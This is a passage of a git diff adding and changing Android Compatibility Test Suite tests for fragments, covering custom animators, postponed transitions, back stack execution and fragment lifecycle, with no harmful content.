+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .show(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+        });
+        assertEnterPopExit(fragment);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.GONE, fragment.getView().getVisibility());
+        });
+    }
+
+    // Ensure that showing and popping a Fragment uses the enter and popExit animators
+    // This tests ordered transactions
+    @Test
+    public void showAnimatorsOrdered() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .hide(fragment)
+                .setReorderingAllowed(false)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.GONE, fragment.getView().getVisibility());
+        });
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .show(fragment)
+                .setReorderingAllowed(false)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+        });
+        assertEnterPopExit(fragment);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.GONE, fragment.getView().getVisibility());
+        });
+    }
+
+    // Ensure that hiding and popping a Fragment uses the exit and popEnter animators
+    @Test
+    public void hideAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment, "1").commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .hide(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertExitPopEnter(fragment);
+    }
+
+    // Ensure that attaching and popping a Fragment uses the enter and popExit animators
+    @Test
+    public void attachAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).detach(fragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .attach(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertEnterPopExit(fragment);
+    }
+
+    // Ensure that detaching and popping a Fragment uses the exit and popEnter animators
+    @Test
+    public void detachAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment, "1").commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .detach(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertExitPopEnter(fragment);
+    }
+
+    // Replace should exit the existing fragments and enter the added fragment, then
+    // popping should popExit the removed fragment and popEnter the added fragments
+    @Test
+    public void replaceAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment1 = new AnimatorFragment();
+        final AnimatorFragment fragment2 = new AnimatorFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final AnimatorFragment fragment3 = new AnimatorFragment();
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .replace(R.id.fragmentContainer, fragment3)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertFragmentAnimation(fragment1, 1, false, EXIT);
+        assertFragmentAnimation(fragment2, 1, false, EXIT);
+        assertFragmentAnimation(fragment3, 1, true, ENTER);
+
+        fm.popBackStack();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertFragmentAnimation(fragment3, 2, false, POP_EXIT);
+        final AnimatorFragment replacement1 = (AnimatorFragment) fm.findFragmentByTag("1");
+        final AnimatorFragment replacement2 = (AnimatorFragment) fm.findFragmentByTag("1");
+        int expectedAnimations = replacement1 == fragment1 ? 2 : 1;
+        assertFragmentAnimation(replacement1, expectedAnimations, true, POP_ENTER);
+        assertFragmentAnimation(replacement2, expectedAnimations, true, POP_ENTER);
+    }
+
+    // Ensure that adding and popping a Fragment uses the enter and popExit animators,
+    // but the animators are delayed when an entering Fragment is postponed.
+    @Test
+    public void postponedAddAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fragment.postponeEnterTransition();
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .add(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponed(fragment, 0);
+        fragment.startPostponedEnterTransition();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEnterPopExit(fragment);
+    }
+
+    // Ensure that removing and popping a Fragment uses the exit and popEnter animators,
+    // but the animators are delayed when an entering Fragment is postponed.
+    @Test
+    public void postponedRemoveAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment, "1").commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertExitPostponedPopEnter(fragment);
+    }
+
+    // Ensure that adding and popping a Fragment is postponed in both directions
+    // when the fragments have been marked for postponing.
+    @Test
+    public void postponedAddRemove() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final AnimatorFragment fragment1 = new AnimatorFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final AnimatorFragment fragment2 = new AnimatorFragment();
+        fragment2.postponeEnterTransition();
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponed(fragment2, 0);
+        assertNotNull(fragment1.getView());
+        assertEquals(View.VISIBLE, fragment1.getView().getVisibility());
+        assertTrue(FragmentTestUtil.isVisible(fragment1));
+        assertTrue(fragment1.getView().isAttachedToWindow());
+
+        fragment2.startPostponedEnterTransition();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertExitPostponedPopEnter(fragment1);
+    }
+
+    // Popping a postponed transaction should result in no animators
+    @Test
+    public void popPostponed() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final AnimatorFragment fragment1 = new AnimatorFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(0, fragment1.numAnimators);
+
+        final AnimatorFragment fragment2 = new AnimatorFragment();
+        fragment2.postponeEnterTransition();
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponed(fragment2, 0);
+
+        // Now pop the postponed transaction
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertNotNull(fragment1.getView());
+        assertTrue(FragmentTestUtil.isVisible(fragment1));
+        assertTrue(fragment1.getView().isAttachedToWindow());
+        assertTrue(fragment1.isAdded());
+
+        assertNull(fragment2.getView());
+        assertFalse(fragment2.isAdded());
+
+        assertEquals(0, fragment1.numAnimators);
+        assertEquals(0, fragment2.numAnimators);
+        assertNull(fragment1.animator);
+        assertNull(fragment2.animator);
+    }
+
+    // Make sure that if the state was saved while a Fragment was animating that its
+    // state is proper after restoring.
+    @Test
+    public void saveWhileAnimatingAway() throws Throwable {
+        final FragmentController fc1 = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc1, null);
+
+        final FragmentManager fm1 = fc1.getFragmentManager();
+
+        StrictViewFragment fragment1 = new StrictViewFragment();
+        fragment1.setLayoutId(R.layout.scene1);
+        fm1.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        StrictViewFragment fragment2 = new StrictViewFragment();
+
+        fm1.beginTransaction()
+                .setCustomAnimations(0, 0, 0, R.animator.slow_fade_out)
+                .replace(R.id.fragmentContainer, fragment2, "2")
+                .addToBackStack(null)
+                .commit();
+        mActivityRule.runOnUiThread(fm1::executePendingTransactions);
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm1.popBackStack();
+
+        mActivityRule.runOnUiThread(fm1::executePendingTransactions);
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        // Now fragment2 should be animating away
+        assertFalse(fragment2.isAdded());
+        assertEquals(fragment2, fm1.findFragmentByTag("2")); // still exists because it is animating
+
+        Pair<Parcelable, FragmentManagerNonConfig> state =
+                FragmentTestUtil.destroy(mActivityRule, fc1);
+
+        final FragmentController fc2 = FragmentTestUtil.createController(mActivityRule);
+        FragmentTestUtil.resume(mActivityRule, fc2, state);
+
+        final FragmentManager fm2 = fc2.getFragmentManager();
+        Fragment fragment2restored = fm2.findFragmentByTag("2");
+        assertNull(fragment2restored);
+
+        Fragment fragment1restored = fm2.findFragmentByTag("1");
+        assertNotNull(fragment1restored);
+        assertNotNull(fragment1restored.getView());
+    }
+
+    // When an animation is running on a Fragment's View, the view shouldn't be
+    // prevented from being removed. There's no way to directly test this, so we have to
+    // test to see if the animation is still running.
+    @Test
+    public void clearAnimations() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final View fragmentView = fragment1.getView();
+
+        final TranslateAnimation xAnimation = new TranslateAnimation(0, 1000, 0, 0);
+        xAnimation.setDuration(10000);
+        mActivityRule.runOnUiThread(() -> {
+            fragmentView.startAnimation(xAnimation);
+            assertEquals(xAnimation, fragmentView.getAnimation());
+        });
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        mActivityRule.runOnUiThread(() -> {
+            assertNull(fragmentView.getAnimation());
+        });
+    }
+
+    /**
+     * When a fragment container is null, you shouldn't see an NPE even with an animation.
+     */
+    @Test
+    public void animationOnNullContainer() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .add(fragment, "1")
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .hide(fragment)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .show(fragment)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+    }
+
+    private void assertEnterPopExit(AnimatorFragment fragment) throws Throwable {
+        assertFragmentAnimation(fragment, 1, true, ENTER);
+
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.popBackStack();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertFragmentAnimation(fragment, 2, false, POP_EXIT);
+    }
+
+    private void assertExitPopEnter(AnimatorFragment fragment) throws Throwable {
+        assertFragmentAnimation(fragment, 1, false, EXIT);
+
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.popBackStack();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        AnimatorFragment replacement = (AnimatorFragment) fm.findFragmentByTag("1");
+
+        boolean isSameFragment = replacement == fragment;
+        int expectedAnimators = isSameFragment ? 2 : 1;
+        assertFragmentAnimation(replacement, expectedAnimators, true, POP_ENTER);
+    }
+
+    private void assertExitPostponedPopEnter(AnimatorFragment fragment) throws Throwable {
+        assertFragmentAnimation(fragment, 1, false, EXIT);
+
+        fragment.postponeEnterTransition();
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponed(fragment, 1);
+
+        fragment.startPostponedEnterTransition();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertFragmentAnimation(fragment, 2, true, POP_ENTER);
+    }
+
+    private void assertFragmentAnimation(AnimatorFragment fragment, int numAnimators,
+            boolean isEnter, int animatorResourceId) throws InterruptedException {
+        assertEquals(numAnimators, fragment.numAnimators);
+        assertEquals(isEnter, fragment.enter);
+        assertEquals(animatorResourceId, fragment.resourceId);
+        assertNotNull(fragment.animator);
+        assertTrue(fragment.wasStarted);
+        assertTrue(fragment.endLatch.await(1, TimeUnit.SECONDS));
+    }
+
+    private void assertPostponed(AnimatorFragment fragment, int expectedAnimators)
+            throws InterruptedException {
+        assertTrue(fragment.mOnCreateViewCalled);
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+        assertFalse(FragmentTestUtil.isVisible(fragment));
+        assertEquals(expectedAnimators, fragment.numAnimators);
+    }
+
+    public static class AnimatorFragment extends StrictViewFragment {
+        int numAnimators;
+        Animator animator;
+        boolean enter;
+        int resourceId;
+        boolean wasStarted;
+        CountDownLatch endLatch;
+
+        @Override
+        public Animator onCreateAnimator(int transit, boolean enter, int nextAnim) {
+            if (nextAnim == 0) {
+                return null;
+            }
+            this.numAnimators++;
+            this.wasStarted = false;
+            this.animator = ValueAnimator.ofFloat(0, 1).setDuration(1);
+            this.endLatch = new CountDownLatch(1);
+            this.animator.addListener(new AnimatorListenerAdapter() {
+                @Override
+                public void onAnimationStart(Animator animation) {
+                    wasStarted = true;
+                }
+
+                @Override
+                public void onAnimationEnd(Animator animation) {
+                    endLatch.countDown();
+                }
+            });
+            this.resourceId = nextAnim;
+            this.enter = enter;
+            return this.animator;
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
new file mode 100644
index 0000000..6e6cda9
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static junit.framework.Assert.*;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.FragmentManager;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ViewGroup;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FragmentExecuteTests {
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    @Before
+    public void setupContentView() {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+    }
+
+    // Test that when executePendingBindings is called after something has been
+    // committed that it returns true and that the transaction was executed.
+    @Test
+    public void executeAndPopNormal() throws Throwable {
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                fm.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment, "1")
+                        .addToBackStack(null)
+                        .commit();
+                assertTrue(fm.executePendingTransactions());
+            }
+        });
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertEquals(1, fm.getBackStackEntryCount());
+        assertEquals(fragment, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment, fm.findFragmentByTag("1"));
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule));
+
+        FragmentTestUtil.assertChildren(container);
+        assertEquals(0, fm.getBackStackEntryCount());
+        assertNull(fm.findFragmentById(R.id.fragmentContainer));
+        assertNull(fm.findFragmentByTag("1"));
+    }
+
+    // Test that when executePendingBindings is called when nothing has been
+    // committed that it returns false and that the fragment manager is unchanged.
+    @Test
+    public void executeAndPopNothing() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        assertEquals(0, fm.getBackStackEntryCount());
+        assertFalse(FragmentTestUtil.executePendingTransactions(mActivityRule));
+        assertEquals(0, fm.getBackStackEntryCount());
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule));
+        assertEquals(0, fm.getBackStackEntryCount());
+    }
+
+    // Test that when popBackStackImmediate is called when something is in the queue and
+    // there is a back stack to pop, it will execute both and return true.
+    @Test
+    public void popBackStackImmediateSomething() throws Throwable {
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment, "1")
+                .addToBackStack(null)
+                .commit();
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule));
+
+        FragmentTestUtil.assertChildren(container);
+        assertEquals(0, fm.getBackStackEntryCount());
+        assertNull(fm.findFragmentById(R.id.fragmentContainer));
+        assertNull(fm.findFragmentByTag("1"));
+    }
+
+    // Test that when popBackStackImmediate is called when something is in the queue and
+    // there is no back stack to pop, it will execute the thing in the queue and
+    // return false.
+    @Test
+    public void popBackStackImmediateNothing() throws Throwable {
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment, "1")
+                .commit();
+
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule));
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertEquals(0, fm.getBackStackEntryCount());
+        assertEquals(fragment, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment, fm.findFragmentByTag("1"));
+    }
+
+    // Test popBackStackImmediate(int, int)
+    @Test
+    public void popBackStackImmediateInt() throws Throwable {
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+
+        final int commit1 = fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .addToBackStack(null)
+                .commit();
+
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .addToBackStack(null)
+                .commit();
+
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment3, "3")
+                .addToBackStack(null)
+                .commit();
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule, commit1, 0));
+        assertFalse(fragment2.isAdded());
+        assertTrue(fragment2.mCalledOnDestroy || !fragment2.mCalledOnCreate);
+        assertFalse(fragment3.isAdded());
+        assertTrue(fragment3.mCalledOnDestroy || !fragment3.mCalledOnCreate);
+
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule, commit1, 0));
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertEquals(1, fm.getBackStackEntryCount());
+        assertEquals(fragment1, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment1, fm.findFragmentByTag("1"));
+
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        final int commit4 = fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment4, "4")
+                .addToBackStack(null)
+                .commit();
+
+        final StrictViewFragment fragment5 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment5, "5")
+                .addToBackStack(null)
+                .commit();
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule, commit4,
+                FragmentManager.POP_BACK_STACK_INCLUSIVE));
+        assertFalse(fragment4.isAdded());
+        assertTrue(fragment4.mCalledOnDestroy || !fragment4.mCalledOnCreate);
+        assertFalse(fragment5.isAdded());
+        assertTrue(fragment5.mCalledOnDestroy || !fragment5.mCalledOnCreate);
+
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule, commit4,
+                FragmentManager.POP_BACK_STACK_INCLUSIVE));
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertEquals(1, fm.getBackStackEntryCount());
+        assertEquals(fragment1, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment1, fm.findFragmentByTag("1"));
+    }
+
+    // Test popBackStackImmediate(String, int)
+    @Test
+    public void popBackStackImmediateString() throws Throwable {
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .addToBackStack("1")
+                .commit();
+
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .addToBackStack("2")
+                .commit();
+
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment3, "3")
+                .addToBackStack("3")
+                .commit();
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule, "1", 0));
+        assertFalse(fragment2.isAdded());
+        assertTrue(fragment2.mCalledOnDestroy || !fragment2.mCalledOnCreate);
+        assertFalse(fragment3.isAdded());
+        assertTrue(fragment3.mCalledOnDestroy || !fragment3.mCalledOnCreate);
+
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule, "1", 0));
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertEquals(1, fm.getBackStackEntryCount());
+        assertEquals(fragment1, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment1, fm.findFragmentByTag("1"));
+
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment4, "4")
+                .addToBackStack("4")
+                .commit();
+
+        final StrictViewFragment fragment5 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment5, "5")
+                .addToBackStack("5")
+                .commit();
+
+        assertTrue(FragmentTestUtil.popBackStackImmediate(mActivityRule, "4",
+                FragmentManager.POP_BACK_STACK_INCLUSIVE));
+        assertFalse(fragment4.isAdded());
+        assertTrue(fragment4.mCalledOnDestroy || !fragment4.mCalledOnCreate);
+        assertFalse(fragment5.isAdded());
+        assertTrue(fragment5.mCalledOnDestroy || !fragment5.mCalledOnCreate);
+
+        assertFalse(FragmentTestUtil.popBackStackImmediate(mActivityRule, "4",
+                FragmentManager.POP_BACK_STACK_INCLUSIVE));
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertEquals(1, fm.getBackStackEntryCount());
+        assertEquals(fragment1, fm.findFragmentById(R.id.fragmentContainer));
+        assertEquals(fragment1, fm.findFragmentByTag("1"));
+    }
+
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index 01c4e70..00ec95b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -17,18 +17,48 @@
 
 package android.fragment.cts;
 
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.fail;
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertNotSame;
+import static junit.framework.TestCase.assertNull;
+import static junit.framework.TestCase.assertSame;
+import static junit.framework.TestCase.assertTrue;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Fragment;
+import android.app.FragmentController;
+import android.app.FragmentHostCallback;
 import android.app.FragmentManager;
+import android.app.FragmentManager.FragmentLifecycleCallbacks;
+import android.app.FragmentManagerNonConfig;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.util.Pair;
+import android.view.LayoutInflater;
 import android.view.View;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.widget.TextView;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static junit.framework.Assert.assertNotNull;
-import static junit.framework.TestCase.*;
+import java.io.FileDescriptor;
+import java.io.PrintWriter;
 
+@MediumTest
 @RunWith(AndroidJUnit4.class)
 public class FragmentLifecycleTest {
 
@@ -37,7 +67,6 @@
             new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
 
     @Test
-    @MediumTest
     public void basicLifecycle() throws Throwable {
         final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
         final StrictFragment strictFragment = new StrictFragment();
@@ -65,7 +94,6 @@
     }
 
     @Test
-    @MediumTest
     public void detachment() throws Throwable {
         final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
         final StrictFragment f1 = new StrictFragment();
@@ -105,7 +133,6 @@
     }
 
     @Test
-    @MediumTest
     public void basicBackStack() throws Throwable {
         final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
         final StrictFragment f1 = new StrictFragment();
@@ -136,7 +163,6 @@
     }
 
     @Test
-    @MediumTest
     public void attachBackStack() throws Throwable {
         final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
         final StrictFragment f1 = new StrictFragment();
@@ -158,7 +184,6 @@
     }
 
     @Test
-    @MediumTest
     public void viewLifecycle() throws Throwable {
         // Test basic lifecycle when the fragment creates a view
 
@@ -183,7 +208,6 @@
     }
 
     @Test
-    @MediumTest
     public void viewReplace() throws Throwable {
         // Replace one view with another, then reverse it with the back stack
 
@@ -223,6 +247,715 @@
         assertTrue("fragment 1's view not attached", newView1.isAttachedToWindow());
     }
 
+    @Test
+    public void viewReplaceMultiple() throws Throwable {
+        // Replace several views with one, then reverse it with the back stack
+
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment f1 = new StrictViewFragment();
+        final StrictViewFragment f2 = new StrictViewFragment();
+        final StrictViewFragment f3 = new StrictViewFragment();
+
+        fm.beginTransaction().add(android.R.id.content, f1).commit();
+        fm.beginTransaction().add(android.R.id.content, f2).commit();
+        executePendingTransactions(fm);
+
+        assertTrue("fragment 1 is not added", f1.isAdded());
+        assertTrue("fragment 2 is not added", f2.isAdded());
+
+        View origView1 = f1.getView();
+        assertNotNull("fragment 1 returned null view", origView1);
+        assertTrue("fragment 1's view not attached", origView1.isAttachedToWindow());
+        assertSame(origView1, ((ViewGroup)origView1.getParent()).getChildAt(0));
+
+        View origView2 = f2.getView();
+        assertNotNull("fragment 2 returned null view", origView2);
+        assertTrue("fragment 2's view not attached", origView2.isAttachedToWindow());
